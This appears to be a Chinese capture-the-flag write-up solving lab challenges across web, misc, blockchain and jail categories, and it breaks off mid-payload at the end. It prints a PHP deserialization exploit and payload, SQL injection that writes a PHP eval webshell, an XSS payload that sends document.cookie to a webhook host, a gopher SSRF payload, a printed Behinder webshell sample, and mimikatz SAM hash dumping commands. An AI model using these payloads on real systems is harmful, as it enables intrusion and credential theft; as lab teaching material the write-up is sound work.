52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
def reverse_string(s):
"""字符串整体倒序"""
return s[::-1]

def group_reverse(s, group_size):
"""按指定长度分组,每组内部倒序后拼接"""
groups = [s[i:i+group_size] for i in range(0, len(s), group_size)]
reversed_groups = [g[::-1] for g in groups]
return ''.join(reversed_groups)

def case_unify(s, mode='lower'):
"""统一字符大小写:lower(全小写) / upper(全大写)"""
if mode == 'lower':
return s.lower()
elif mode == 'upper':
return s.upper()
return s

def keyboard_shift(s, shift=1):
"""模拟键盘相邻键移位(基于美式键盘字母区)"""
keyboard = 'qwertyuiopasdfghjklzxcvbnm'
keyboard += keyboard.upper() # 加入大写字母
result = []
for c in s:
if c in keyboard:
idx = keyboard.index(c)
new_idx = (idx + shift) % len(keyboard)
result.append(keyboard[new_idx])
else:
result.append(c) # 非字母字符保留
return ''.join(result)

def try_all_strategies(ciphertext):
"""尝试所有常见重组策略,输出结果"""
strategies = [
("原字符串", ciphertext),
("全小写", case_unify(ciphertext, 'lower')),
("全大写", case_unify(ciphertext, 'upper')),
("整体倒序", reverse_string(ciphertext)),
("小写+整体倒序", reverse_string(case_unify(ciphertext, 'lower'))),
("分组4个字符倒序", group_reverse(ciphertext, 4)),
("分组3个字符倒序", group_reverse(ciphertext, 3)),
("键盘右移1位", keyboard_shift(ciphertext, 1)),
("键盘左移1位", keyboard_shift(ciphertext, -1))
]

print("===== 字符重组尝试结果 =====")
for name, res in strategies:
print(f"{name:15}: {res}")

# 额外尝试:拆分大小写字母后重组(CTF常见套路)
upper_chars = [c for c in ciphertext if c.isupper()]
lower_chars = [c for c in ciphertext if c.islower()]
symbols = [c for c in ciphertext if not c.isalpha()]
print("\n===== 按大小写/符号拆分后重组 =====")
print(f"大写字母序列: {''.join(upper_chars)}")
print(f"小写字母序列: {''.join(lower_chars)}")
print(f"符号序列: {''.join(symbols)}")
print(f"大写+小写+符号拼接: {''.join(upper_chars + lower_chars + symbols)}")
print(f"小写+大写+符号拼接: {''.join(lower_chars + upper_chars + symbols)}")

# 你的密文字符串
ciphertext = "IpOtatn!oITrm_i"

# 执行所有破解尝试
try_all_strategies(ciphertext)

image-20260111221804561

这里大概可以猜到,看小写字母可以拼成important,然后_用来分割字符,!放在最后.搜索资料得到IIOT就是工业物联网,那么最后flag

flag{IIOT_important!}

日志分析:盲辨海豚

netA直接秒了

image-20260111222306267

jail-evil eval

使用nc连接容器后,根据题目提示使用help()函数进入help() 交互模式,进入后直接看__main__ 模块

image-20260113174753312

区块链:以太坊的约定

注册一个小狐狸钱包,一共有12个单词。第二问直接问ai就行

image-20260113213858704

第三问使用以太坊 Sepolia 测试网的区块链浏览器,然后搜索0x949F8fc083006CC5fb51Da693a57D63eEc90C675第一笔交易

image-20260113214850157

20240614

附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleOperation {
function getResult() public pure returns (string memory) {
uint a = 10;
uint b = 5;
uint sum = a + b;
uint product = a * b;
if (sum > product) {
}
return "solidity";
}
}

这个代码直接看就行了,sum=15,product=50,那个if就是一个摆设,代码最后会返回solidity

flag{12_1145_20240614_solidity}

week4

web

小羊走迷宫

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include "flag.php";
error_reporting(0);
class startPoint{
public $direction;
function __wakeup(){
echo "gogogo出发咯 ";
$way = $this->direction;
return $way();
}
}
class Treasure{
protected $door;
protected $chest;
function __get($arg){
echo "拿到钥匙咯,开门! ";
$this -> door -> open();
}
function __toString(){
echo "小羊真可爱! ";
return $this -> chest -> key;
}
}
class SaySomething{
public $sth;
function __invoke()
{
echo "说点什么呢 ";
return "说: ".$this->sth;
}
}
class endPoint{
private $path;
function __call($arg1,$arg2){
echo "到达终点!现在尝试获取flag吧"."<br>";
echo file_get_contents($this->path);
}
}

if ($_GET["ma_ze.path"]){
unserialize(base64_decode($_GET["ma_ze.path"]));
}else{
echo "这个变量名有点奇怪,要怎么传参呢?";
}
?>

分析代码主要考察的是反序化还有非法传参,代码通过get传参传入参数,先base64解码然后反序列化,然后目标是读取flag.php。首先二分析链子

反序列化startPoint对象 → 触发__wakeup()

startPoint->direction设为SaySomething对象 → $way()触发SaySomething::__invoke()

SaySomething->sth设为Treasure对象 → __invoke()返回时将对象转字符串,触发Treasure::__toString()

Treasure->chest设为自身(或另一个 Treasure 对象) → __toString()访问key属性,触发Treasure::__get()

Treasure->door设为endPoint对象 → __get()调用open()方法,触发endPoint::__call()

endPoint->path设为flag.php__call()读取flag.php内容

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
class startPoint{
public $direction;
}
class SaySomething{
public $sth;
}
class Treasure{
protected $door;
protected $chest;
}
class endPoint{
private $path;
}

// ========== 核心修复:使用反射赋值受保护/私有属性 ==========
// 1. 构造endPoint对象,设置private的path属性
$end = new endPoint();
// 反射endPoint类,获取private的path属性
$refEnd = new ReflectionClass($end);
$pathProp = $refEnd->getProperty('path');
$pathProp->setAccessible(true); // 解除私有属性访问限制
$pathProp->setValue($end, 'flag.php'); // 赋值为flag.php

// 2. 构造Treasure对象,设置protected的door和chest属性
$trea = new Treasure();
// 反射Treasure类,获取protected的door属性
$refTrea = new ReflectionClass($trea);
$doorProp = $refTrea->getProperty('door');
$doorProp->setAccessible(true); // 解除受保护属性访问限制
$doorProp->setValue($trea, $end); // door赋值为endPoint对象

// 设置protected的chest属性(指向自身)
$chestProp = $refTrea->getProperty('chest');
$chestProp->setAccessible(true);
$chestProp->setValue($trea, $trea); // chest赋值为自身

// 3. 构造SaySomething对象,设置public的sth属性(无权限问题)
$say = new SaySomething();
$say->sth = $trea;

// 4. 构造startPoint对象,设置public的direction属性
$start = new startPoint();
$start->direction = $say;

// ========== 序列化并处理格式(无需手动替换转义符) ==========
$ser = serialize($start);
$b64 = base64_encode($ser);

// 输出最终可直接使用的参数值
echo "需要传入的ma_ze.path参数值:<br>";
echo $b64;
?>

由于有protected属性还有private属性没办法直接赋值,这是使用反射方法绕过php属性访问权限。

payload

1
TzoxMDoic3RhcnRQb2ludCI6MTp7czo5OiJkaXJlY3Rpb24iO086MTI6IlNheVNvbWV0aGluZyI6MTp7czozOiJzdGgiO086ODoiVHJlYXN1cmUiOjI6e3M6NzoiACoAZG9vciI7Tzo4OiJlbmRQb2ludCI6MTp7czoxNDoiAGVuZFBvaW50AHBhdGgiO3M6NTc6InBocDovL2ZpbHRlci9yZWFkPWNvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1mbGFnLnBocCI7fXM6ODoiACoAY2hlc3QiO3I6Mzt9fX0=

然后说传参问题参数名中含有点会被替换为下划线。ma_ze.path还被替换为ma_ze_path。

当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线

所以最后payload

?ma[ze.path=TzoxMDoic3RhcnRQb2ludCI6MTp7czo5OiJkaXJlY3Rpb24iO086MTI6IlNheVNvbWV0aGluZyI6MTp7czozOiJzdGgiO086ODoiVHJlYXN1cmUiOjI6e3M6NzoiACoAZG9vciI7Tzo4OiJlbmRQb2ludCI6MTp7czoxNDoiAGVuZFBvaW50AHBhdGgiO3M6NTc6InBocDovL2ZpbHRlci9yZWFkPWNvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1mbGFnLnBocCI7fXM6ODoiACoAY2hlc3QiO3I6Mzt9fX0=

image-20260117185922782

武功秘籍

这个根据题目提示找一下cve漏洞就行,搜索dcrcms 文件上传漏洞,然后跟着步骤一步一步走就行,先进入后台管理界面,发现要输入密码,在源码有提示

1
2
3
</html>
<!-- 你找到了后台,可是要登录才能进去,怎么办怎么办?-->
<!-- 欸,管理人员好像有点疏忽了,密码设置的没有很强哦-->

一眼弱口令,爆破一下

image-20260117191110751

admin/admin登入进入

新闻中心-添加新闻,上图片马然后该后缀

image-20260117191715206

然后找到文件路径蚁剑连接就行

image-20260117192252623

SSTI 在哪里?

分析题目给的附件通过index.php发起POST请求,去请求localhost:5000上的app.py,app.py通过POST的form接收到name参数转发给localhost:5001的第二个flask项目render_template_string函数中触发ssti

1
用户 → PHP前端(5000端口)→ Flask中转服务(5001端口)→ 内部/外部URL资源

很明显要用gopher协议发起POST请求,可能是赛后复现环境问题,一直没有回显,放一个payload

1
gopher://127.0.0.1:5000/_POST%20/%20HTTP/1.1%0D%0AHost:%20127.0.0.1:5000%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2038%0D%0A%0D%0Aname=%7B%7Blipsum.__globals__.os.environ%7D%7D

sqlupload

先分析题目给的附件,在start.sh中有

1
echo "secure_file_priv=\"\"" >> /etc/mysql/mysql.conf.d/mysqld.cnf

secure_file_priv为空很明显就是然写🐎的,分析代码得到在getFileList.php中

1
2
3
$sql = "SELECT id, filename, upload_time
FROM uploads
ORDER BY $order";

在这有个很明显得sql注入,利用这一点写马进去。这里有两种方法:

1.fields terminated by写马

由于在MySQL中,ORDER BY子句后面只能跟表达式、列名或函数,而不能直接跟一个完整的UNION SELECT语句。所以不能用union select写马,这时就可以使用fields terminated by,首先先上传一个文件

然后写🐎

1
2
/getFileList.php?order=id into outfile '/var/www/html/1.php' fields terminated by '<?php eval($_POST[1]);?>'

这个fields terminated by ‘‘就是将字段分隔符替换为一句话木马。

image-20260119174520361

按照id排序后,这里字段分割符是逗号,而执行完后这里的逗号都会变为,写入1.php。然后就可以蚁剑连接了。连接后发现根目录得flag文件为空。那就打开终端,并不是root权限,看到readFlag直接执行得到flag

image-20260119175331657

2.文件名写马

先上传一个文件名是一句话木马的文件

image-20260119180105114

payload

1
/getFileList.php?order=id into outfile '/var/www/html/3.php' 

由于文件名是木马,查询后就拿木马文件名写入了php文件,就可以rce了

image-20260119180231479

小 E 的留言板

这一题主要考察的得到xss获得cookie,看了几篇wp,发现说的不是太详细,还有那个xss平台不能用了,新的xss平台我尝试了好像行不行。比赛跟这个复现环境还是有点不一样的,复现环境提供了 Webhook Receiver 的环境。同时结合比赛时给的提示

为了获取到小 E 浏览器内的 cookie,我们需要进行跨站脚本攻击(XSS)。一般 xss 需要逃逸出当前属性或标签,利用特殊标签(例如 script)或者属性(例如 onerror,onfocus 等)来执行 JavaScript。但并不是所有题目都能逃逸出标签从而引入恶意标签,因此可以考虑如何闭合属性并引入恶意属性来执行 JavaScript。

其次题目会有一些针对特殊字符或字符串的过滤,需要进行相应的绕过,常见的有大小写绕过,双写绕过等

看到留言板首先看看有没有waf,输入

1
<script>alert(1)</script>

image-20260119142925877

script,< ,>被过滤,然后再进一步判断,script,<>,on,focus会被替换为空,关键字被替换可以用双写绕过,前端输入逻辑

1
2
3
4
5
6
7
<input 
type="text"
name="message"
placeholder="输入您的留言..."
value="123"
style="width: 100%; background: transparent; border: none; padding: 0; font-size: 16px;"
>

由于<>被过滤了,只能够在input标签内进行xss,这里就是用autofocus和onfocus结合来执行JavaScript代码。我们要获取的是cookie,就是需要用document.cookie来获取cookie

autofocus:页面加载完成后,自动将光标聚焦到该元素(无需用户点击 / 操作),是 “自动触发” 的开关

onfocus:元素获得焦点时(无论是自动聚焦还是手动点击),执行双引号内的 JavaScript 代码,是 “执行代码” 的入口

那么就可以构造payload了,有两种payload:

1
" autofofocuscus oonnfofocuscus="fetch('http://localhost:9000/webhook/0251724a/?'+document.cookie)

由于题目出网外带数据所以给了另一个环境,启动之后如图

image-20260119145715376

用这个环境来接受数据

fetch:JavaScript 发送 HTTP 请求的方法,执行这行代码后,浏览器会向拼接好的攻击者地址发送一个 GET 请求,相当于把 Cookie 主动 “送” 给攻击者

这里要用”先闭合前面的value=”,执行后

image-20260119150158015

可以看到啥也没有,最开始在这卡了,以为是payload不行类,看源码

1
2
3
4
5
6
7
<input 
type="text"
name="message"
placeholder="输入您的留言..."
value="" autofocus onfocus="fetch('http://localhost:9000/webhook/0251724a/?'+document.cookie)"
style="width: 100%; background: transparent; border: none; padding: 0; font-size: 16px;"
>

其实已经写进去了,只是value被闭合了,然后再用report接口请求触发bot访问

image-20260119150521833

这里进去就可以看到这个输入框是被自动点击了,说明我们的payload已经执行了,

image-20260119150644725

然后看content就是flag

另一种payload是

1
" autofofocuscus oonnfofocuscus="var s=document.createElement('scrscriptipt');s.src=''http://localhost:9000/webhook/0251724a/;document.head.appendChild(s)

代码动态创建 <script> 标签,加载攻击者服务器上的恶意脚本,获取cookie,执行完

image-20260119151022430

misc

应急响应:初识

登入后首先要搜集信息,看回收站,粘贴板,文件资源管理器中,查看是否显示隐藏项目,一定要勾选查看隐藏项目。

image-20251123104443236

发现了可疑文件____.php文件,同时在回收站找到了副本文件

image-20251123104641907

恢复还原,由于这个是webshell文件,直接双击打开会被windows安全中心删除,要么复制到本机中关掉杀软后查看,要么在靶机中的windows安全中心还原项目image-20251123105527955

文件内容是

1
2
3
4
5
6
7
8
9
10
<?php
@error_reporting(0);
function Decrypt($data)
{
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);
}
$post=Decrypt(file_get_contents("php://input"));
@eval($post);
?>

连接密码是rebeyond。

在文件夹中找到的有一个工具

image-20251123105924350

CreateHiddenAccount_v0.2.exe

这就是创建隐藏用户的工具,运行一下得到关键信息,工具版本为 v0.2,开源地址为github.com/wgpsec/CreateHiddenAccount

在github搜索该项目

image-20251123112140605

可以看得到2022年1月18日发布的

查看隐藏账户

image-20251123110455839

nEw5tar$

要获取用户哈希值就要用SAM文件和SYSTEM文件,

SAM文件存储密码哈希本身,但需要SYSTEM文件提供解密密钥二者缺一不可。

在Windows 系统运行状态下,SYSTEMSAM文件都无法直接复制,原因是它们被系统进程以 “独占锁” 的方式占用;但可以通过注册表导出的方式获取其离线副本

reg save HKLM\SAM C:\Users\Administrator\Desktop\SAM.hiv

reg save HKLM\SYSTEM C:\Users\Administrator\Desktop\SYSTEM.hiv

导出后用mimikatz工具分析

lsadump::sam /system:SYSTEM.hiv /sam:SAM.hiv

1
2
3
RID  : 000003e9 (1001)
User : nEw5tar$
Hash NTLM: 7e5c358b43a26bddec105574bee24eef

这个使用somd5查不出来,就是用点手段把查出来是Ns2025

综上flag{rebeyond_2022-01-18_Ns2025}

流量分析:听声辩位

依旧netA神力

image-20260113221416200

flag{blind_injection_Re@lly_Biggg!}

jail-Neuro jail

分析代码注入的 C++ 代码片段不能包含()[]{}<> 这些字符;代码长度≤200;最终 C++ 程序编译运行需输出 "NewStar!!!" 才能拿到 flag。输入的内容是base64编码的。

c++ 中要输出指定字符串,常规写法是 std::cout << "NewStar!!!";,但 <> 被黑名单拦截,因此需要绕过尖括号,在源代码中

1
2
std::string s = "NoWay";
std::cout << s;

最后执行逻辑

1
2
3
4
5
6
7
int main() {
/* YOUR CODE HERE */ ← 你的代码插在这里

std::string s = "NoWay"; ← 这行在你后面
std::cout << s; ← 最后输出的是 s 的内容
return 0;
}

看大佬的payload

std::string s = “NewStar!!!”; //\

反斜杠“\”用在行末是是续行符!编译器会把这一行的换行忽略,把下一行“接”到这一行后面,因而使下一行被忽略! 接在后面又有一个注释符,把std::string s = “NoWay”;注释了,然后就可以输出NewStar了

std::string s = “NewStar!!!”; //\要base64编码

c3RkOjpzdHJpbmcgcyA9ICJOZXdTdGFyISEhIjsgLy9cIA==

image-20260113224559945

另外还有非预期解,只能说大佬还是太强了

把./flag当作头文件包含进来

payload:#include “./flag”

image-20260113224742466

区块链:智能合约

.sol文件编译一下然后获取题目给出的地址

合约地址:0x88DC8f1de5Ff74d644C1a1defDc54869E5Ce3c08

创建文件后编译

img

编译后通过地址加载合约,0x88DC8f1de5Ff74d644C1a1defDc54869E5Ce3c08

img

进行unlock操作,输入0x0721

得到flag

flag{E4sy_S0lidity_D3v_F1a9_C0d3_4ud1t}

混乱的网站

首先看前端源代码,发现在misc模块有一个隐藏按钮

1
2
3
4
5
</div>
<h3>Misc</h3>
<p>杂项,包含隐写术、取证、编程、网络协议分析等多种类型挑战。</p>
<button class="hidden-button" onclick="_return()">Click me</button>
</div>

点击后会调用 _return()函数,但是没啥用,然后还有一个function.js

这里直接让ai写一个解密分析脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
import re
import base64

def decode_hex_escape(hex_str):
"""解码十六进制转义字符"""
try:
# 处理 \x61 这种格式
if hex_str.startswith('\\x'):
hex_str = hex_str[2:]
return bytes.fromhex(hex_str).decode('latin-1')
except:
return hex_str

def extract_hex_strings(code):
"""从代码中提取所有十六进制字符串"""
hex_pattern = r'\\x[0-9a-fA-F]{2}'
hex_strings = []

# 查找所有连续的十六进制转义序列
matches = re.findall(r'(?:\\x[0-9a-fA-F]{2})+', code)

for match in matches:
# 将 \x61\x48\x52... 这样的字符串解码
hex_chars = re.findall(r'\\x([0-9a-fA-F]{2})', match)
decoded = ''.join([chr(int(h, 16)) for h in hex_chars])
hex_strings.append(decoded)

return hex_strings

def decode_base64_custom(encoded_str):
"""解码Base64字符串(支持自定义解码表)"""
try:
# 标准Base64解码
decoded = base64.b64decode(encoded_str).decode('utf-8', errors='ignore')
return decoded
except:
# 尝试URL安全的Base64
try:
decoded = base64.urlsafe_b64decode(encoded_str + '=' * (4 - len(encoded_str) % 4))
return decoded.decode('utf-8', errors='ignore')
except:
return ""

def decrypt_obfuscated_js(js_code):
"""主解密函数"""
print("=" * 60)
print("开始解密混淆的JavaScript代码")
print("=" * 60)

# 提取数组定义
array_patterns = [
r"var\s+([A-Za-z0-9$]+)\s*=\s*\[(.*?)\];",
r"var\s+([A-Za-z0-9$]+)\s*=\s*\[(.*?)\]\s*;"
]

arrays = {}

for pattern in array_patterns:
matches = re.finditer(pattern, js_code, re.DOTALL)
for match in matches:
array_name = match.group(1)
array_content = match.group(2)

# 提取数组中的字符串
string_pattern = r"'(.*?)'|\"(.*?)\""
strings = []

for string_match in re.finditer(string_pattern, array_content):
str_content = string_match.group(1) or string_match.group(2)
strings.append(str_content)

if strings:
arrays[array_name] = strings
print(f"\n发现数组: {array_name}")
print(f"原始字符串: {strings}")

# 尝试解码十六进制字符串
decoded_strings = []
for s in strings:
if '\\x' in s:
hex_strings = extract_hex_strings(s)
if hex_strings:
decoded_strings.append(hex_strings[0])
else:
decoded_strings.append(s)

print(f"解码后: {decoded_strings}")

# 尝试Base64解码
print("Base64解码结果:")
for i, s in enumerate(decoded_strings):
b64_decoded = decode_base64_custom(s)
if b64_decoded:
print(f" [{i}] {s} -> {b64_decoded}")

# 提取函数定义
print("\n" + "=" * 60)
print("分析函数定义:")
print("=" * 60)

# 查找_pick函数
pick_pattern = r"function\s+_pick\s*\((.*?)\)\s*{(.*?)}"
pick_match = re.search(pick_pattern, js_code, re.DOTALL)
if pick_match:
print("找到 _pick 函数:")
print(f"参数: {pick_match.group(1)}")
print(f"函数体: {pick_match.group(2).strip()}")

# 查找_b64decode函数
b64_pattern = r"function\s+_b64decode\s*\((.*?)\)\s*{(.*?)}"
b64_match = re.search(b64_pattern, js_code, re.DOTALL)
if b64_match:
print("\n找到 _b64decode 函数:")
print(f"参数: {b64_match.group(1)}")
# 简化显示函数体
func_body = b64_match.group(2).strip()
if len(func_body) > 200:
print(f"函数体: {func_body[:200]}...")
else:
print(f"函数体: {func_body}")

# 查找关键执行代码
print("\n" + "=" * 60)
print("分析执行逻辑:")
print("=" * 60)

# 查找window['_return']或类似执行代码
exec_patterns = [
r"window\['_return'\].*?=.*?function.*?{(.*?)}",
r"window\['location'\].*?\['href'\].*?=.*?(.*?);",
r"window\['\\x5f\\x72\\x65\\x74\\x75\\x72\\x6e'\].*?=.*?function.*?{(.*?)}"
]

for pattern in exec_patterns:
matches = re.finditer(pattern, js_code, re.DOTALL)
for match in matches:
if match.group(1):
exec_code = match.group(1)
print(f"找到执行代码:")
print(f"代码片段: {exec_code[:200]}...")

# 尝试模拟执行 _pick 函数
print("\n" + "=" * 60)
print("模拟执行 _pick 函数:")
print("=" * 60)

# 模拟_pick函数
def simulate_pick(array, index):
return array[(index * 7 + 3) % len(array)]

# 尝试使用数组进行模拟
for array_name, array_values in arrays.items():
if len(array_values) >= 5: # 假设至少5个元素
print(f"\n模拟 {array_name} 数组:")
for i in range(5): # 测试前5个索引
try:
result = simulate_pick(array_values, i)
print(f" _pick({array_name}, {i}) = 索引 {(i*7+3)%len(array_values)} -> '{result}'")

# 尝试Base64解码
decoded = decode_base64_custom(result)
if decoded:
print(f" 解码后: '{decoded}'")
except Exception as e:
print(f" 错误: {e}")

# 提取所有可能的URL
print("\n" + "=" * 60)
print("提取所有可能的URL:")
print("=" * 60)

url_patterns = [
r"window\['location'\].*?\['href'\].*?=.*?([A-Za-z0-9$]+)",
r"location\.href.*?=.*?([A-Za-z0-9$]+)"
]

for pattern in url_patterns:
matches = re.finditer(pattern, js_code)
for match in matches:
var_name = match.group(1)
print(f"找到URL变量引用: {var_name}")

return arrays

def main():
# 示例:输入混淆的JS代码
obfuscated_js = """
(function(){var Aij$cmYht1=['\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x57\x55\x76','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x57\x56\x6b\x4c\x77\x3d\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x57\x56\x7a\x4c\x77\x3d\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x6d\x56\x7a\x4c\x77\x3d\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x6d\x56\x7a\x4c\x77\x3d\x3d'];var lot2=['\x5a\x6d\x46\x6a\x61\x31\x39\x6d\x62\x47\x46\x6e\x58\x77\x3d\x3d','\x5a\x6d\x78\x68\x5a\x31\x39\x6d\x59\x57\x4e\x72\x58\x77\x3d\x3d','\x61\x6e\x4e\x66\x64\x6d\x56\x79\x65\x56\x39\x6e\x62\x32\x39\x6b','\x61\x6e\x4e\x66\x5a\x6d\x4e\x31\x61\x77\x3d\x3d','\x61\x47\x39\x33\x58\x32\x46\x69\x62\x33\x56\x30\x58\x32\x70\x7a'];function _pick(CjQmMUp3,K$kHfNWZ4){return CjQmMUp3[(K$kHfNWZ4*7+3)%CjQmMUp3['\x6c\x65\x6e\x67\x74\x68']]}function _b64decode(qhC5){if(typeof atob==='\x66\x75\x6e\x63\x74\x69\x6f\x6e'){try{return atob(qhC5)}catch(e){}}var aVeUV6='\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';var LegKEfpY7='';qhC5=qhC5['\x72\x65\x70\x6c\x61\x63\x65'](/[^A-Za-z0-9\+\/\=]/g,'');for(var snkimliGd8=0;snkimliGd8<qhC5['\x6c\x65\x6e\x67\x74\x68'];){var d9=aVeUV6['\x69\x6e\x64\x65\x78\x4f\x66'](qhC5['\x63\x68\x61\x72\x41\x74'](snkimliGd8++));var pTr10=aVeUV6['\x69\x6e\x64\x65\x78\x4f\x66'](qhC5['\x63\x68\x61\x72\x41\x74'](snkimliGd8++));var Ghn11=aVeUV6['\x69\x6e\x64\x65\x78\x4f\x66'](qhC5['\x63\x68\x61\x72\x41\x74'](snkimliGd8++));var IE12=aVeUV6['\x69\x6e\x64\x65\x78\x4f\x66'](qhC5['\x63\x68\x61\x72\x41\x74'](snkimliGd8++));var pvoGIOqE_13=(d9<<2)|(pTr10>>4);var YOM14=((pTr10&15)<<4)|(Ghn11>>2);var _nvy15=((Ghn11&3)<<6)|IE12;LegKEfpY7+=window["\x53\x74\x72\x69\x6e\x67"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](pvoGIOqE_13);if(Ghn11!==64)LegKEfpY7+=window["\x53\x74\x72\x69\x6e\x67"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](YOM14);if(IE12!==64)LegKEfpY7+=window["\x53\x74\x72\x69\x6e\x67"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](_nvy15)}try{return decodeURIComponent(window["\x65\x73\x63\x61\x70\x65"](LegKEfpY7))}catch(e){return LegKEfpY7}}window['\x5f\x72\x65\x74\x75\x72\x6e']=function(){var uJSkGDiOs16=_pick(Aij$cmYht1,2);var VPa17=_pick(lot2,2);var qoLQjP18=_b64decode(uJSkGDiOs16);var KfPIM19=_b64decode(VPa17);window['\x6c\x6f\x63\x61\x74\x69\x6f\x6e']['\x68\x72\x65\x66']=qoLQjP18;try{window['\x24']['\x24']=window[KfPIM19]}catch(e){window['\x24']['\x24']=undefined}}})();
"""

print("正在分析混淆的JavaScript代码...\n")
arrays = decrypt_obfuscated_js(obfuscated_js)

# 输出最终的解密结果
print("\n" + "=" * 60)
print("最终解密结果:")
print("=" * 60)

if 'Aij$cmYht1' in arrays and 'lot2' in arrays:
# 模拟执行最终逻辑
a1 = arrays['Aij$cmYht1']
a2 = arrays['lot2']

# 解码十六进制字符串
decoded_a1 = []
for s in a1:
hex_strings = extract_hex_strings(s)
if hex_strings:
decoded_a1.append(hex_strings[0])

decoded_a2 = []
for s in a2:
hex_strings = extract_hex_strings(s)
if hex_strings:
decoded_a2.append(hex_strings[0])

# 执行_pick函数逻辑
pick_index = 2
pick_result1 = decoded_a1[(pick_index * 7 + 3) % len(decoded_a1)]
pick_result2 = decoded_a2[(pick_index * 7 + 3) % len(decoded_a2)]

print(f"_pick(Aij$cmYht1, {pick_index}) = '{pick_result1}'")
print(f"_pick(lot2, {pick_index}) = '{pick_result2}'")

# Base64解码
url = decode_base64_custom(pick_result1)
prop = decode_base64_custom(pick_result2)

print(f"\n解码后URL: {url}")
print(f"解码后属性: {prop}")

print(f"\n最终执行结果:")
print(f"重定向到: {url}")
print(f"尝试设置: window['$$'] = window['{prop}']")

if __name__ == "__main__":
main()
image-20260117175900896

可以看到主要内容在lot2数组,解码结果中的js_very_good应该就是flag1,接下来找flag2,dirsearch扫描目录发现有www.zip

解压后发现关键代码在dashboard.php

1
2
3
<?php
eval(gzinflate(base64_decode('hVNdb+I4FH1faf/DqlpL7cvIMSQhqrorAnFCaAI4sRP8li8VsBMYYJqSUf/7GqadMtqtVorkI59zz7nXjn//7c8ZhLMZfPi2l2VVbMvq9gYYjgbMITAQQBgYY2BoOtBHwDSA2YfAsNAAoDEwITAHwNSBqdQWQEMDGEqEgGEDow8Mtaerch0YA2D0gKk+Exi4D5DijZ7Cw5u7+0s+nD289fG99/rlHRofsHe13YOv5yoF4cN/8Rr8wKj/6b7yUCY/PM5e369obXAVd4FXigvU/u0Fr/oxr7x6r+9DfvnJI3QVcDUnsq6w8cvMH/i6Vv9Uf189Z/L2Lfn2xncGbdwN22AM13HPznKEm6KRy1jsxhHGBq91myGyLygLs1pDtGYac/1DieSICflIvFVH3RASKWOisSBzsVfUVl2wlVwiOc+9chE7WFRSulmt+xQSypLjMXL8holjWlF9WyA/ihqOExG2FcZanBK03MhH3pRGkfgLAstTsGGMMDJbUL7JGMdsI2GBFzqn/FCObcwdPSmgP82SF6F4d9GJlkvxwurgREXZJGzZqhyDIPwYeOGcpr7HNawVKe9XNQlZJ9MCy13i+WTGGGYdu+Rz911PYDH2p2/6fuXJ54veXfWYZG7lSLGkh7aAmsyRvs3do8M7f8/q1Trw8JY4h2fCMIzQijBJOhrjr1m6UqdhjWdpuY/rYxN3/ilqbE4SNg9i2yvFpFX5ayJITNwtLBxfCxp/VFHSJlQGGfW10JVB3CMtwcOukHhLZchLetwxHIoChVnV+JuiIU3uERzDQKfO5CVLGVfn5nBNLrgb9rNNaS82T/vMIWq+MM01tqZO0XG